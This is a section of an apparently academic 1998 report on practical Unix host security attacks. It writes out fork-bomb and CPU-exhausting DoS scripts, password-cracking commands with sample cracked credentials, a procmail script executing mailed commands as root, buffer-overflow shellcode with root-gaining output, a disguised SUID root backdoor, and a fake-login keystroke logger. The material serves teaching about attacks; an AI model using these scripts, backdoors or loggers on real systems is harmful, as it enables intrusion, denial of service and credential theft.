next up previous contents
Next: 3.3 Summary Up: 3. Host Security Problems Previous: 3.1 Theory

Subsections

3.2 Practical

  
3.2.1 Denial of Service

Denial of Service attacks are the easiest of all the security problems to exploit. As an example of a DoS attack that uses up system resources, consider the following script:

#!/bin/bash

./a& ./a

If the above script is put into a file called 'a' and run, it creates an endless loop calling itself and generates processes. This loop will continue going until the user or the system itself runs out of resources. The above script will run until the user's or system process tables are full. Another type of attack that could be mounted would be to make extensive use of the CPU and disk. Consider the following script as an example:

#!/bin/bash

while true; do

  find / -name "*" -print > /dev/null 2>&1 &

done

The above runs an infinite loop where the 'find' program goes through the entire filesystem looking for and printing every filename it finds. Going through the entire filesystem and doing pattern matching is extremely CPU intensive. The effect of the above script could be made even worse by adding more things to do processing. For example, changing the ``find'' line to the following will slow the system down even more:

find / -name "*" -print | xargs ls -ltrc | sort > /dev/null 2>&1 &
The above does the same thing as the initial script but instead of the output being discarded, it is passed to another program. 'xargs' will take the output from 'find' and use the 'ls' command on it. The 'ls' command takes the output and shows a long listing of it, ordered in descending order of the last update. The output from that is sorted and then thrown away. It should be clear that many variants of the above can be used, including compressing and decompressing the output before throwing it away.

Another form of DoS we mentioned in the theoretical section is password file locking. This is probably the easiest of all DoS attacks, as it simply involves running the 'passwd' program and then ignoring it. When the password program is run, a file lock is created to prevent another user changing his password while another user is busy with the password file. This is a measure to prevent inconsistency of password data. It is on this fact that the password file locking attack works. By running the password program and never exiting it, we lock everyone else on the system out of the password file.

It may be that the administrator sees the file lock and decides to edit the password file by hand. The effect of our changing our password and exiting the password program is that whatever changes he made to the file will be lost. It may also be that the administrator sees that we are locking the password file, kills our 'passwd' process and removes the file lock. A simple script would frustrate his efforts, for a variable amount of time. The script runs an infinite loop running the 'passwd' program. With this script, when the running copy of 'passwd' exits, a new one will be started locking the password file again. The script looks as follows :

#!/bin/bash

while true; do

  passwd

done

3.2.2 Password Cracking

There have been many password crackers that have been written and released out on the Internet. The infamous password cracker ``Crack'', available in Appendix A, written by Alec Muffett was one of the first publicly released password crackers. It therefore set the stage and standard for password crackers. Later releases of password crackers have claimed to be the faster or more efficient than their peers, and most notably Crack. A password cracker called ``John the Ripper'' (John) is gaining increasing popularity. It is capable of running either in brute-force or dictionary mode. It also runs on most platforms. We will use it as our example of a brute-force password cracker while using Crack for our dictionary attack on the password file.

3.2.2.1 Brute Force Password Cracking

The brute force mode of John is called incremental mode. In this mode, no dictionary is supplied. The attack starts from 'a' and works it way up, using some intelligence in the process. It is run as follows :

./john -incremental /etc/passwd
As passwords are correctly guessed, they are printed out on the standard output. The format is the pair ``username (password)''. Sample output from this password cracker is shown below:

root (blah)

siviwe (password)

The cracked passwords are also stored in a file called 'john.pot' which can be interrogated for cracked passwords at a later stage. To interrogate John for passwords cracked, the following command is run:

./john -show /etc/passwd
The output from John (with the -show option as shown above) shows the entire password file record of the user. Instead of the password field being encrypted however, the cleartext password is shown or the text ``NO PASSWORD'' when the password field is empty. An example of the output given is shown below:

g9643687:NO PASSWORD:637:15:Roger Nicolson:/home/g9643687:/usr/bin/csh

hu6hf5kf:aaaa:269:102:Anton Cloete:/home/hu6hf5kf:/bin/csh

7hdh4fhd:solder:347:102:Paul Sullivan:/home/7hdh4fhd:/bin/csh

j863hd8d:biteme:576:15:Justin Schwartz:/home/j863hd8d:/usr/bin/csh

3.2.2.2 Dictionary Based Password Cracking

Crack is an dictionary based password cracker with a lot of intelligence built into it. The intelligence is configurable by the user running the program. Crack reads from a file called ``Rules.mk'' how it is to modify dictionary words to more effectively guess passwords. Crack is comprised of a complex set of modules that are controlled from a shell script called ``Crack''. If it was not compiled for the architecture being run on, Crack compiles and links itself before starting the password cracking. New dictionaries/wordlists can be included by using one of the many included scripts. It may be run as follows:

./Crack /etc/passwd
Crack can accept many command-line parameters. One of these indicates whether passwords and the processing Crack does is to be printed out on the standard output. By default, all of its processing and passwords cracked are written to files. A script called ``Reporter'' is included to list guessed passwords and any possible errors. An example of an error is a locked account name, that is an account with a '*' in the password field. Sample output from Crack follows:

907223078:Guessed siviwe [p4ssw0rd] Siviwe Kwatsha [gauntlet /bin/bash]

907223217:Guessed dbrown [Joanne]  David Andrew Brown [gauntlet /bin/bash]

907225598:Guessed mickey [m1ck3y]  Michelle Miles [gauntlet /bin/bash]

907229096:Guessed masterx [jesus1]  Harold Olukune [gauntlet /bin/bash]

907229244:Guessed root [bl4h] Sir Root [gauntlet /bin/bash]

907231810:Guessed arb [r3t1n4] Arbitrary User [gauntlet /bin/bash]

Crack includes an option to mail a 'nastygram' to all users whose passwords have been cracked. The nastygram states that the password cracker has guessed the user's password. In the nastygram may be included suggestions for good passwords and what bad/easily guessable passwords are. The easiest way to mail users on a machine if their passwords are cracked is to copy the password file to a file of the same name as the machine. Crack is then started with the ``-mail'' option. Commands executed may be similar to the following:

cp /etc/passwd gauntlet

./Crack -mail gauntlet

  
3.2.3 Misconfigured Software

Software is misconfigured either by mistake or in an attempt to fix something else. The programs that are most dangerous here are those that run with root privileges and may have some user participation. In our theoretical section, we mentioned such programs as the cron daemon and mail filters. It is possible to misconfigure the cron daemon not to drop root privileges when executing user crontabs. Such an act requires either skill in misconfiguring software or an active decision to change the workings of the daemons. It is still possible, however to perform such an action mistakenly.

The mail filter we shall consider is the exim mailer's built in mail filter. Exim is very strict on file and directory permissions and this is the cause of many a headache for the administrator. To be secure, exim is usually run as a user ``exim'' to prevent possible abuse of privilege when delivering mail. If this exim user is trying to deliver your mail and cannot get into your home directory to check your ``.forward'', he either assumes you do not have one or panics. In practice, it is usually the worst case scenario and users lose mail. To get around this problem, the administrator notices how well the filters and mail delivery work if he has the following lines in the configuration file :

exim_user = "root"

exim_filter_user = "root"

When this is noted to work, the administrator either leaves or forgets about it. This is where the problem starts. Suppose we had as part of our filtering, a rule which executes commands that are in the mail. Execution of such commands would then be executed as root, with the entire system at our mercy. We will consider using ``procmail'' to accomplish our purpose. We change our ``.forward'' file to :

" | /usr/bin/procmail #siviwe"
Procmail uses a ``.procmailrc'' file. We want to try to execute only mail with ``-=execute=-`` in the subject. We append the following to our ``.procmailrc'' :

:

^Subject:.*-=execute=-*

| /home/siviwe/bin/exescript

The mail will be piped to a script called ``exescript'', which looks like :

#!/bin/bash

PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

COM=awk -F'^' '{printf("%s\n",$2)}'

SUB=`echo $COM`

$COM | /bin/mail -s"$SUB" siviwe@cs.ru.ac.za

The script will look for a '^' in our mail and whatever comes after it, it will execute and mail us the result. The body of our mail message to execute will look something like :

^ whoami
If the filter is truly running as root, the above command will mail us back a message that has a body of ``root''. The mail message we receive itself may originate from root@hostname.

  
3.2.4 Buffer Overflows

In the theoretical discussion of buffer overflows, we saw that by modifying the return address we could run any code we wanted. We also mentioned that the code we would probably want to run is a shell. This ``shellcode'' is a simple piece of code, which is as follows:

1: #include <stdio.h>

2: void main()

3: {  char *name[2];

4:   name[0] = "/bin/sh";

5:   name[1] = NULL;

6:   execve(name[0], name, NULL);

7: }

The first task that needs to be performed is to get the machine language form of the above program. At line 6, note the execve() system call. Since we are working with a stack, arguments are passed to functions in reverse order. Disassembling the above program shows that a call to execve() simply puts a NULL on the stack, then the address of name followed by the address of the string ``/bin/sh''. A call to the system call execve() is then made. The execve() function loads the decimal 11 (syscall for execve), the addresses of the string, name[] and NULL into registers. It then performs a kernel interrupt.

The next bit of code that is needed is that for the exit() call. This is so that the program can ``exit cleanly'' even if the execve() call fails. A disassembled program with the exit call shows that exit():

1.
Copies 0x1 into the EAX register
2.
Copies the return code (0 in our case) into the EBX register and
3.
Performs a kernel interrupt (0x80)
 
Figure 3.3: Illustrates JMP and CALL method
\resizebox*{9cm}{!}{\includegraphics{jmpcall.ps}}


Armed with this information, all that is really needed is a string ``/bin/sh'' in memory with a known address. It is not as simple as it sounds. The exact address of the exploit code with the string ``/bin/sh'' that is at its end cannot be known. A solution to the problem is to use JMP and CALL statements. The exploit code starts by jumping to the end of the code, where a CALL command is. The CALL calls the instruction after the JMP at the beginning of the code. This is shown in figure 3.3. When the CALL is executed, since the string comes directly after the last command, its address will be put into the return address. All that is then needed is to get the return address and put it in a register. The exploit code needs to be put in the stack or data segment as it is self modifying.

As most of the buffers that will be overflowed are character/string buffers, the exploit code cannot contain NULL characters as these will signify the end of the string. The commonly used method of exploiting buffer overflows puts the shellcode at some relatively easily guessable part of memory and prepends it with NOPs. The buffer to be overflowed is then overflowed with memory references to the part of memory where the shellcode is thought to sit. The effect is that when RET is overwritten with this address, our shellcode will be executed. If we allocate enough memory for our shellcode, even if our estimation of the shellcode's address is incorrect, the address will probably point to a NOP. This means that execution will finally get to our shellcode. Sample shellcode is included in Appendix A.

In our discussion of the theoretical aspect of buffer overflows, it was noted that variables are referenced by their offsets from SP. To find the variable we want to overflow, it is therefore important that we know what the SP's address is. The offset of the variable we want to overflow is often not immediately accurately determinable. Finding this offset is therefore left to trial and error. A simple program which has an overflowable buffer is shown below:

#include <stdio.h>

void main(int argc, char *argv[])

{  char buffer[512]; 

 

  if (argc > 1) 

    strcpy(buffer,argv[1]);

}

Using buffer overflow code from [21], the buffer buffer was overflowed. A program was written to test different buffer sizes and different offsets until the correct combination was found. A minor change was made to the overflow code from [21] to make it work cleanly with the above-mentioned program. The source for the overflow code and the above-mentioned program are included in Appendix A. Sample output from the program finding the correct offset follows:

[siviwe@lucifer proj]$ ./fat

[ Address:      0xbffffbd9      Offset:         383                            ]

[ Buffer size:  1024            Egg size:       2048    Aligment:       0      ]

[ Address:      0xbffffbd8      Offset:         384                            ]

[ Buffer size:  1024            Egg size:       2048    Aligment:       0      ]

[ Address:      0xbffffbd7      Offset:         385                            ]

[ Buffer size:  1024            Egg size:       2048    Aligment:       0      ]

[ Address:      0xbffffbd6      Offset:         386                            ]

[siviwe@lucifer proj]# id

uid=500(siviwe) gid=500(siviwe) euid=0(root) groups=500(siviwe)

[siviwe@lucifer proj]#

 

3.2.5 SUID files

SUID files, especially owned by root, are very dangerous to system security. If a SUID root file has a buffer that can be overflowed, it can be overflowed using the method described in section 3.2.4. If the overflow is successful, the exploit will yield a root privileged shell. A lot of holes in SUID files are published on the Internet, some even with exploits. Taking advantage of this may be as simple as merely finding the list of all SUID files on the system. This can be accomplished with the following command:

find / -perm -4000 -print | xargs ls -l
A simple variation can be applied to the above command, to show only SUID files that are owned by root. The command would then change to look as follows :

find / -perm -4000 -user root -print | xargs ls -l
SUID files can also be used in DoS attacks, as illustrated with password file locking in section 3.2.1.

  
3.2.6 Backdoors and Trojans

Backdoors and trojans are usually inserted in a privileged state, after the intrusion. The easiest way to set up a backdoor is to copy a shell into a system as root, and set its SUID flag. When the 'root shell' is executed, it will change the effective user ID (euid) and perhaps the effective group ID (egid) to root's (0). This means that the shell does not give full root privileges when run. Although this shell can be hidden inside several directories, if another user were to find it, he would be able to steal and/or use it. For this reason, most root shells created are usually password protected to prevent, rather paradoxically, unauthorized access. A C program is usually written to accomplish this purpose and that of awarding full root privileges when the program is run. It follows that this program has to be SUID root. A simple version of such a program follows:

1: #include <unistd.h>

2: #include <stdio.h>

3: #include <string.h>

4: void main(void)

5: {  char password[10]="rootshell";

   

6:   if (!strncmp(password,(const char *)getpass("Password:"),strlen(password))) {

7:     setuid(0);

8:     setgid(0);

9:     system("/bin/bash");

   }

}

When it comes to trojanning a copy of a program, there are a lot to choose from. Popular examples include the login, passwd and su programs. The above are the most popular programs to be trojanned. All three require the user to enter a password, which is checked against the one in the password file. In the above code, an example of such a check is illustrated in line 6. Trojanning the above-mentioned programs simply involves putting in a special check for some ``secret'' password. If this secret password is entered, code similar to the above-numbered lines 7 through 9 is executed.

There is a problem with the code above. Say we called the executable from such a program meroot. An administrator checking processes would see root running both '/bin/bash' and 'meroot'. A competent administrator would not take long to find 'meroot' and confirm that the system has been compromised. A simple change applied to the code would make the location of such a program a lot harder. The revision to the code requires a change to line 9 to :

9:     execl("/bin/bash","in.telnetd",NULL);
When this change has been made to the code, it will appear that root is running the telnet daemon. If the host runs a telnet daemon, little if any suspicion will be raised by the program. There is now no easily detectable link between the program ``meroot'' and ``bash'' being run as root.

3.2.7 Keystroke Logging

3.2.7.1 Keystroke Logging

Programs that pretend to be the login program are easily written either as scripts or as C programs. They only need to ask for a login and password, write the pair to a file and exit. A portion of the code might look as follows:

        fputs("lucifer login: ",stdout);

        fgets(mystring,255,stdin);

        mystring[strlen(mystring)-1] = '\0';

        fprintf(myfile,"USER=%s, PASSWORD=",mystring);

        strcpy(mystring,(char *)getpass("Password: "));

        fprintf(myfile,"%s\n--------------\n",mystring);

The entire program with some checks is included in Appendix A.

3.2.7.2 X Windows

If an open X display is found, a logging attempt is very easy. All that is needed is that the DISPLAY variable be set to the open X display's and the keystroke logging can begin. The program we will use to capture the keystrokes is called ``xkey'', and can be found in Appendix A. Our series of commands and sample output looks as follows:

[siviwe@lucifer]$ export DISPLAY=gauntlet:0.0

[siviwe@lucifer]$ xhost

access control disabled, clients can connect from any host

[siviwe@lucifer]$ ./xkey

ps

w

fa^Hinger


next up previous contents
Next: 3.3 Summary Up: 3. Host Security Problems Previous: 3.1 Theory
Shaun Bangay
1998-11-19